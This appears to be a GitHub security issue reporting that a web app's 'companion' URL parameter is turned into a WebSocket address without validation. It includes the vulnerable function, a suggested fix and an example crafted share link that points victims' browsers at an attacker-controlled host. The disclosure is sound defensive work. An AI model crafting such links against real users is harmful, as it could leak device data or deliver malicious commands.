Skip to content

Security: companion URL query parameter is not validated before WebSocket connection #627

@birme

Description

@birme

Summary

The companion query parameter is read from window.location.search and prepended with ws:// without any validation. An attacker can craft a share URL that causes the client to connect to an attacker-controlled WebSocket server.

Affected File

  • src/utils/call-url.ts (~lines 45–48)

Vulnerable Code

export function parseCompanionParam(param: string | null): string | undefined {
  if (!param) return undefined;
  return `ws://${param}`;   // no validation — any host accepted
}

Attack Scenario

Share a link like:

https://app.example.com/call?companion=attacker.com%2Fmalicious

The victim's browser will open a WebSocket to ws://attacker.com/malicious, potentially leaking audio device metadata or receiving malicious commands.

Recommendation

Validate the parameter using the URL constructor and optionally restrict to known hosts:

export function parseCompanionParam(param: string | null): string | undefined {
  if (!param) return undefined;
  try {
    const url = new URL(`ws://${param}`);
    // Optional: restrict to same origin or allowlist
    return url.toString();
  } catch {
    return undefined;
  }
}

Consider also converting to wss:// when the page is served over HTTPS, to avoid mixed-content blocks and ensure transport encryption.

Severity

High — Open redirect to attacker WebSocket server via crafted share URL.


Found by automated security audit.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions